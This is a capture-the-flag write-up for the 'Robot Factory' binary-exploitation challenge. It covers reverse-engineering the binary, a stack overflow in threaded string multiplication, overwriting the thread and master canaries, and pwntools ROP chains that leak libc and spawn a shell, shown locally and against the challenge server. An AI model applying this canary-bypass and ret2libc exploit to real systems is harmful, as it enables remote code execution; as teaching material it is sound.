Robot Factory
12 minutes to read
We are given a 64-bit binary called robot_factory
:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Moreover, we also have the remote Glibc library (libc.so.6
). Let’s patch the binary with pwninit
:
$ pwninit --bin robot_factory --libc libc.so.6 --no-template
bin: robot_factory
libc: libc.so.6
fetching linker
https://launchpad.net/ubuntu/+archive/primary/+files//libc6_2.31-0ubuntu9.2_amd64.deb
unstripping libc
https://launchpad.net/ubuntu/+archive/primary/+files//libc6-dbg_2.31-0ubuntu9.2_amd64.deb
warning: failed unstripping libc: failed running eu-unstrip, please install elfutils: No such file or directory (os error 2)
setting ./ld-2.31.so executable
copying robot_factory to robot_factory_patched
running patchelf on robot_factory_patched
Reverse engineering
Let’s open the binary in Ghidra to analyze the decompiled C code. This is main
:
void main() {
pthread_t thread;
setvbuf(stdout, NULL, 2, 0);
puts("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=");
puts("| |");
puts("| WELCOME TO THE ROBOT FACTORY! |");
puts("| DAYS WITHOUT AN ACCIDENT: |");
puts("| 0 |");
puts("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=");
pthread_create(&thread, NULL, self_destruct_protocol, NULL);
do {
create_robot();
} while (true);
}
We can see that it starts a thread to call self_destruct_protocol
:
void self_destruct_protocol() {
int i;
do {
for (i = 0; i < 8; i++) {
if ((robots[i] != NULL) && (robots[i][1].is_used[0] != '\0')) {
if (robots[i]->kind == 0) {
printf("Result: %ld", *(undefined8 *) robots[i]->result);
} else if (robots[i]->kind == 1) {
printf("Result: %s", *(undefined8 *) robots[i]->result);
}
write(1, "\n", 2);
free(robots[i]);
robots[i] = NULL;
}
}
sleep(1);
} while (true);
}
As can be guessed, this function iterates through all robots and those that are already used will be freed.
Robot structure
In the previous function, there is a structure named as robot
. This is part of the reverse engineering process. Ghidra allows to define a custom struct
so that the code is more readable. After reading all the decompiled source code, we can guess some structure that fits more or less.
One important function is create_robot
:
void create_robot() {
robot *prVar1;
char kind;
int number;
robot *p_robot;
char operation;
char *p_string1;
char *p_string_2;
void *newline_index;
int index;
int i;
pthread_t thread;
long length;
index = -1;
for (i = 0; i < 8; i = i + 1) {
if (robots[i] == NULL) {
index = i;
break;
}
}
if (index == -1) {
puts("Error! No free parts!");
} else {
p_robot = (robot *) malloc(0x40);
robots[index] = p_robot;
robots[index][1].is_used[0] = 0;
do {
printf("What kind of robot would you like? (n/s) > ");
number = getchar();
kind = (char) number;
getchar();
if (kind == 'n') break;
} while (kind != 's');
do {
printf("What kind of operation do you want? (a/s/m) > ");
number = getchar();
operation = (char) number;
getchar();
if ((operation == 'a') || (operation == 's')) break;
} while (operation != 'm');
if (kind == 's') {
robots[index]->kind = 1;
printf("Enter string 1: ");
prVar1 = robots[index];
p_string1 = (char *) malloc(0x100);
prVar1->item_a = p_string1;
fgets((char *) robots[index]->item_a, 0x100, stdin);
newline_index = memchr(robots[index]->item_a, L'\n', 0x100);
length = (long) newline_index - (long) robots[index]->item_a;
*(long *) (robots[index]->result + 8) = length;
if (operation == 'a') {
printf("Enter string 2: ");
prVar1 = robots[index];
p_string_2 = (char *) malloc(0x100);
prVar1->item_b = p_string_2;
fgets((char *) robots[index]->item_b, 0x100, stdin);
newline_index = memchr(robots[index]->item_b, L'\n',0x100);
length = (long) newline_index - (long) robots[index]->item_b;
robots[index]->size = length;
} else {
if (operation != 'm') {
puts("NOT IMPLEMENTED");
free(robots[index]);
return;
}
printf("Enter size: ");
__isoc99_scanf("%ld", &robots[index]->item_b);
getchar();
}
} else if (kind == 'n') {
robots[index]->kind = 0;
printf("Enter number 1: ");
__isoc99_scanf("%ld", &robots[index]->item_a);
getchar();
printf("Enter number 2: ");
__isoc99_scanf("%ld", &robots[index]->item_b);
getchar();
}
if (operation == 's') {
robots[index]->operation = 1;
} else if (operation < 't') {
if (operation == 'a') {
robots[index]->operation = 0;
} else if (operation == 'm') {
robots[index]->operation = 2;
}
}
pthread_create(&thread, NULL, do_robot, robots[index]);
*(pthread_t *) robots[index]->is_used = thread;
}
}
This one allows us to create two kinds of robots: n/s
. This stands for “number” (kind = 0
) or “string” (kind = 1
). Next, we need to set the operation: a/s/m
, which stands for “add” (operation = 0
), “substract” (operation = 1
) and “multiply” (operation = 2
). The following are two values that can either be long
integers or char *
pointers (item_a
and item_b
). After that, there is another long
/char *
value for the result, and then the size_a
and size_b
for the size of item_a
and item_b
in the “string” cases.
At the end, there is another thread that runs do_robot
:
void do_robot(robot *robot) {
if (robot->kind == 0) {
do_num(robot);
} else if (robot->kind == 1) {
do_string(robot);
}
}
These are do_num
and do_string
:
void do_num(robot *robot) {
undefined result[8];
uint operation;
robot->result = result;
operation = robot->operation;
if (operation == 2) {
multiply_func(robot);
} else if (operation < 3) {
if (operation == 0) {
add_func(robot);
} else if (operation == 1) {
sub_func(robot);
}
}
robot[1].is_used[0] = 1;
}
void do_string(robot *robot) {
long in_FS_OFFSET;
undefined result[264];
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
robot->result = result;
if (robot->operation == 0) {
add_func(robot);
} else if (robot->operation == 2) {
multiply_func(robot);
}
robot[1].is_used[0] = 1;
if (canary == *(long *) (in_FS_OFFSET + 0x28)) {
return;
}
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
And finally, these are add_func
, sub_func
and multiply_func
:
void add_func(robot *robot) {
if (robot->kind == 0) {
*(long *) robot->result = (long) robot->item_b + (long) robot->item_a;
} else if (robot->kind == 1) {
memcpy(robot->result, robot->item_a, robot->size_a);
memcpy((void *) ((long) robot->result + robot->size_a), robot->item_b, robot->size_b);
free(robot->item_a);
free(robot->item_b);
}
}
void sub_func(robot *robot) {
if (robot->kind == 0) {
*(long *) robot->result = (long) robot->item_a - (long) robot->item_b;
} else if (robot->kind == 1) {
do {
invalidInstructionException();
} while (true);
}
}
void multiply_func(robot *robot) {
long i;
long length;
if (robot->kind == 0) {
*(long *) robot->result = (long) robot->item_b * (long) robot->item_a;
} else if (robot->kind == 1) {
memcpy(robot->result, robot->item_a, robot->size_a);
length = robot->size_a;
for (i = 0; i < (long) robot->item_b; i = i + 1) {
memcpy((void *)((long) robot->result + length), robot->item_a, robot->size_a);
length = length + robot->size_a;
}
}
}
Buffer Overflow vulnerability
It might be tricky to spot, but add_func
and multiply_func
have a Buffer Overflow vulnerability in “string” robots. The program tries to implement something like "string_a" + "string_b"
or "string" * multiplier
in Python. The problem is that the program does not check the total length of the resulting string. We can verify that the program crashes in this situation:
$ ./robot_factory
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
| |
| WELCOME TO THE ROBOT FACTORY! |
| DAYS WITHOUT AN ACCIDENT: |
| 0 |
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
What kind of robot would you like? (n/s) > s
What kind of operation do you want? (a/s/m) > m
Enter string 1: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Enter size: 100
What kind of robot would you like? (n/s) > zsh: segmentation fault (core dumped) ./robot_factory
The program has crashed because we have overwritten the return address with A
characters, so the program does not know where to go and just terminates. Let’s use GDB to see if we can control the return address:
$ gdb -q robot_factory
Reading symbols from robot_factory...
(No debugging symbols found in robot_factory)
gef➤ disassemble multiply_func
Dump of assembler code for function multiply_func:
0x0000000000401984 <+0>: push rbp
0x0000000000401985 <+1>: mov rbp,rsp
0x0000000000401988 <+4>: sub rsp,0x20
0x000000000040198c <+8>: mov QWORD PTR [rbp-0x18],rdi
...
0x0000000000401a68 <+228>: jl 0x401a1b <multiply_func+151>
0x0000000000401a6a <+230>: nop
0x0000000000401a6b <+231>: nop
0x0000000000401a6c <+232>: leave
0x0000000000401a6d <+233>: ret
End of assembler dump.
gef➤ break *multiply_func+233
Breakpoint 1 at 0x401a6d
gef➤ run
Starting program: ./robot_factory
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
| |
| WELCOME TO THE ROBOT FACTORY! |
| DAYS WITHOUT AN ACCIDENT: |
| 0 |
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[New Thread 0x7ffff7da6700 (LWP 17873)]
What kind of robot would you like? (n/s) > s
What kind of operation do you want? (a/s/m) > m
Enter string 1: AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDEEEEEEEEFFFFFFFF
Enter size: 1
[New Thread 0x7ffff75a5700 (LWP 17954)]
What kind of robot would you like? (n/s) > [Switching to Thread 0x7ffff75a5700 (LWP 17954)]
Thread 3 "robot_factory" hit Breakpoint 1, 0x0000000000401a6d in multiply_func ()
gef➤ grep AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDEEEEEEEEFFFFFFFF
[+] Searching 'AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDEEEEEEEEFFFFFFFF' in memory
[+] In '[heap]'(0x405000-0x426000), permission=rw-
0x405820 - 0x405852 → "AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDEEEEEEEEFFFFFFFF\n"
[+] In (0x7ffff6da6000-0x7ffff75a6000), permission=rw-
0x7ffff75a4dc0 - 0x7ffff75a4df7 → "AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDEEEEEEEEFFFFFFFFAA[...]"
0x7ffff75a4df0 - 0x7ffff75a4e20 → "AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDEEEEEEEEFFFFFFFF"
gef➤ x/50gx 0x7ffff75a4dc0
0x7ffff75a4dc0: 0x4141414141414141 0x4242424242424242
0x7ffff75a4dd0: 0x4343434343434343 0x4444444444444444
0x7ffff75a4de0: 0x4545454545454545 0x4646464646464646
0x7ffff75a4df0: 0x4141414141414141 0x4242424242424242
0x7ffff75a4e00: 0x4343434343434343 0x4444444444444444
0x7ffff75a4e10: 0x4545454545454545 0x4646464646464646
0x7ffff75a4e20: 0x0000000000000000 0x0000000000000000
0x7ffff75a4e30: 0x0000000000000000 0x0000000000000000
0x7ffff75a4e40: 0x0000000000000000 0x0000000000000000
0x7ffff75a4e50: 0x0000000000000000 0x0000000000000000
0x7ffff75a4e60: 0x0000000000000000 0x0000000000000000
0x7ffff75a4e70: 0x0000000000000000 0x0000000000000000
0x7ffff75a4e80: 0x0000000000000000 0x0000000000000000
0x7ffff75a4e90: 0x0000000000000000 0x0000000000000000
0x7ffff75a4ea0: 0x0000000000000000 0x0000000000000000
0x7ffff75a4eb0: 0x0000000000000000 0x0000000000000000
0x7ffff75a4ec0: 0x0000000000000000 0x165610803d504700
0x7ffff75a4ed0: 0x00007ffff75a4ef0 0x0000000000401774
0x7ffff75a4ee0: 0x0000000000000000 0x00000000004053c0
0x7ffff75a4ef0: 0x0000000000000000 0x00007ffff7db2609
0x7ffff75a4f00: 0x0000000000000000 0x00007ffff75a5700
0x7ffff75a4f10: 0x00007ffff75a5700 0x186db02ab4d8a16b
0x7ffff75a4f20: 0x00007fffffffe65e 0x00007fffffffe65f
0x7ffff75a4f30: 0x00007fffffffe660 0x00007ffff75a4fc0
0x7ffff75a4f40: 0xe7925e9e2ad8a16b 0xe7925f9cffbaa16b
gef➤ telescope 0x7ffff75a4ed0
0x00007ffff75a4ed0│+0x0000: 0x00007ffff75a4ef0 → 0x0000000000000000 ← $rbp
0x00007ffff75a4ed8│+0x0008: 0x0000000000401774 → <do_robot+40> jmp 0x401783 <do_robot+55>
0x00007ffff75a4ee0│+0x0010: 0x0000000000000000
0x00007ffff75a4ee8│+0x0018: 0x00000000004053c0 → 0x00007ffff75a5700 → 0x00007ffff75a5700 → [loop detected]
0x00007ffff75a4ef0│+0x0020: 0x0000000000000000
0x00007ffff75a4ef8│+0x0028: 0x00007ffff7db2609 → <start_thread+217> mov QWORD PTR fs:0x630, rax
0x00007ffff75a4f00│+0x0030: 0x0000000000000000
0x00007ffff75a4f08│+0x0038: 0x00007ffff75a5700 → 0x00007ffff75a5700 → [loop detected]
0x00007ffff75a4f10│+0x0040: 0x00007ffff75a5700 → 0x00007ffff75a5700 → [loop detected]
0x00007ffff75a4f18│+0x0048: 0x186db02ab4d8a16b
Canaries and threads
As can be seen, the canary is right there: 0x165610803d504700
. It is placed before the saved values of $rbp
and $rip
to mitigate Buffer Overflow exploits.
This time, the program uses threads, and there is a Buffer Overflow vulnerability. The problem with threads is that they use a stack that is placed in the main process stack. Moreover, the thread canary is copied from the main process canary (also referred to as master canary). Hence, if we modify both canaries (thread and master), we will bypass the canary protection since both values will be the same (the program will think they are untouched, because the program just compares the thread canary with the master canary).
Notice that there are more thread stacks in the main stack (at least two, one for the current robot and one for self_destruct_protocol
):
gef➤ x/70gx 0x7ffff75a4dc0
0x7ffff75a4dc0: 0x4141414141414141 0x4242424242424242
0x7ffff75a4dd0: 0x4343434343434343 0x4444444444444444
0x7ffff75a4de0: 0x4545454545454545 0x4646464646464646
0x7ffff75a4df0: 0x4141414141414141 0x4242424242424242
0x7ffff75a4e00: 0x4343434343434343 0x4444444444444444
0x7ffff75a4e10: 0x4545454545454545 0x4646464646464646
0x7ffff75a4e20: 0x0000000000000000 0x0000000000000000
0x7ffff75a4e30: 0x0000000000000000 0x0000000000000000
0x7ffff75a4e40: 0x0000000000000000 0x0000000000000000
0x7ffff75a4e50: 0x0000000000000000 0x0000000000000000
0x7ffff75a4e60: 0x0000000000000000 0x0000000000000000
0x7ffff75a4e70: 0x0000000000000000 0x0000000000000000
0x7ffff75a4e80: 0x0000000000000000 0x0000000000000000
0x7ffff75a4e90: 0x0000000000000000 0x0000000000000000
0x7ffff75a4ea0: 0x0000000000000000 0x0000000000000000
0x7ffff75a4eb0: 0x0000000000000000 0x0000000000000000
0x7ffff75a4ec0: 0x0000000000000000 0x165610803d504700
0x7ffff75a4ed0: 0x00007ffff75a4ef0 0x0000000000401774
0x7ffff75a4ee0: 0x0000000000000000 0x00000000004053c0
0x7ffff75a4ef0: 0x0000000000000000 0x00007ffff7db2609
0x7ffff75a4f00: 0x0000000000000000 0x00007ffff75a5700
0x7ffff75a4f10: 0x00007ffff75a5700 0x186db02ab4d8a16b
0x7ffff75a4f20: 0x00007fffffffe65e 0x00007fffffffe65f
0x7ffff75a4f30: 0x00007fffffffe660 0x00007ffff75a4fc0
0x7ffff75a4f40: 0xe7925e9e2ad8a16b 0xe7925f9cffbaa16b
0x7ffff75a4f50: 0x0000000000000000 0x0000000000000000
0x7ffff75a4f60: 0x0000000000000000 0x0000000000000000
0x7ffff75a4f70: 0x0000000000000000 0x0000000000000000
0x7ffff75a4f80: 0x0000000000000000 0x0000000000000000
0x7ffff75a4f90: 0x0000000000000000 0x165610803d504700
0x7ffff75a4fa0: 0x00007ffff75a5700 0x0000000000000000
0x7ffff75a4fb0: 0x00007fffffffe65e 0x00007ffff7eec133
0x7ffff75a4fc0: 0x0000000000000000 0x0000000000000000
0x7ffff75a4fd0: 0x0000000000000000 0x0000000000000000
0x7ffff75a4fe0: 0x0000000000000000 0x0000000000000000
In total, we have three relevant stack canaries:
gef➤ grep 0x165610803d504700
[+] Searching '\x00\x47\x50\x3d\x80\x10\x56\x16' in memory
[+] In (0x7ffff6da6000-0x7ffff75a6000), permission=rw-
0x7ffff75a4ec8 - 0x7ffff75a4ee8 → "\x00\x47\x50\x3d\x80\x10\x56\x16[...]"
0x7ffff75a4f98 - 0x7ffff75a4fb8 → "\x00\x47\x50\x3d\x80\x10\x56\x16[...]"
0x7ffff75a5728 - 0x7ffff75a5748 → "\x00\x47\x50\x3d\x80\x10\x56\x16[...]"
...
Exploit strategy
The master canary is the third one. In order to bypass canary, we will use multiply_func
to repeat chunks of 248
bytes (the majority of characters will be A
to ensure that all canaries get overwritten with 0x4141414141414141
). The length of the chunk is due to we have a maximum of 256
bytes (actually 255
plus the new line character). A value of 9
repetitions is fine (debugging might be needed to find a suitable value).
The objective of this is to bypass the canary protection and exploit the Buffer Overflow vulnerability using a ROP chain (as in most exploits). We will do a typical ret2libc attack (leaking an address from Glibc to bypass ASLR and then execute system("/bin/sh")
). For more information on ret2libc attacks, refer to Here’s a LIBC, Shooting Star and Notepad as a Service.
Exploit development
Since ret2libc attacks are covered in other challenges with more detail, I will only show the relevant parts that directly affect this specific challenge.
Leaking memory addresses
This is the payload for the first ROP chain (to leak a function from Glibc using the GOT and the PLT):
def create_robot(p, kind: bytes, operation: bytes, a: bytes, b: bytes):
p.recv(timeout=0.1)
p.sendline(kind)
p.sendlineafter(b'(a/s/m) > ', operation)
p.sendlineafter(b': ', a)
p.sendlineafter(b': ', b)
def main():
p = get_process()
rop = ROP(elf)
rop_chain = p64(rop.rdi.address)
rop_chain += p64(elf.got.printf)
rop_chain += p64(elf.plt.puts)
rop_chain += p64(elf.plt.sleep)
payload = b'A' * 32
payload += rop_chain
payload += b'A' * (248 - len(payload))
create_robot(p, b's', b'm', payload, b'9')
printf_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\0'))
glibc.address = printf_addr - glibc.sym.printf
p.success(f'Glibc base address: {hex(glibc.address)}')
p.interactive()
With the above code, we will find the base address of Glibc and thus bypass ASLR:
$ python3 solve.py
[*] './robot_factory_patched'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'.'
[+] Starting local process './robot_factory_patched': pid 1071646
[*] Loaded 14 cached gadgets for 'robot_factory_patched'
[+] Glibc base address: 0x7f05444fe000
[*] Switching to interactive mode
Result: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xd3@
\x00$
Notice that the last function call of the ROP chain is sleep
(not main
as usual). This is because we are changing the execution flow of a thread. Setting the last function call to sleep
will make the thread just keep waiting indefinitely (because $rdi
will have a large value, that is the address of a GOT entry).
Getting RCE
The next ROP chain will execute execve("/bin/sh", NULL, NULL)
. It is not possible to use system
because this function calls fork
. Since we are dealing with a thread, a forked process will just crash. Therefore, it is better to run execve
, which is a simpler function (actually a wrap function for sys_execve
system call).
We will need to set some other registers, but nothing fancier than that:
rop = ROP([elf, glibc])
rop_chain = p64(rop.rdi.address)
rop_chain += p64(next(glibc.search(b'/bin/sh')))
rop_chain += p64(rop.rsi.address)
rop_chain += p64(0)
rop_chain += p64(rop.find_gadget(['pop rdx', 'pop r12', 'ret']).address)
rop_chain += p64(0)
rop_chain += b'A' * 8
rop_chain += p64(glibc.sym.execve)
payload = b'A' * 32
payload += rop_chain
payload += b'A' * (248 - len(payload))
create_robot(p, b's', b'm', payload, b'9')
p.recv()
p.interactive()
And if we run the exploit, we have a shell locally:
$ python3 solve.py
[*] './robot_factory_patched'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'.'
[+] Starting local process './robot_factory_patched': pid 1075947
[*] Loaded 14 cached gadgets for 'robot_factory_patched'
[+] Glibc base address: 0x7f1183441000
[*] Loaded 201 cached gadgets for 'libc.so.6'
[*] Switching to interactive mode
$ ls
ld-2.31.so libc.so.6 robot_factory robot_factory_patched solve.py
Flag
Let’s try remotely:
$ python3 solve.py 178.128.46.49:31802
[*] './robot_factory_patched'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'.'
[+] Opening connection to 178.128.46.49 on port 31802: Done
[*] Loaded 14 cached gadgets for 'robot_factory_patched'
[+] Glibc base address: 0x7f7a3c4f4000
[*] Loaded 201 cached gadgets for 'libc.so.6'
[*] Switching to interactive mode
$ ls
bin
boot
dev
etc
flag.txt
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
$ cat flag.txt
HTB{th3_r0b0t5_ar3_0ut_0f_c0ntr0l!!}
The full exploit script can be found in here: solve.py
.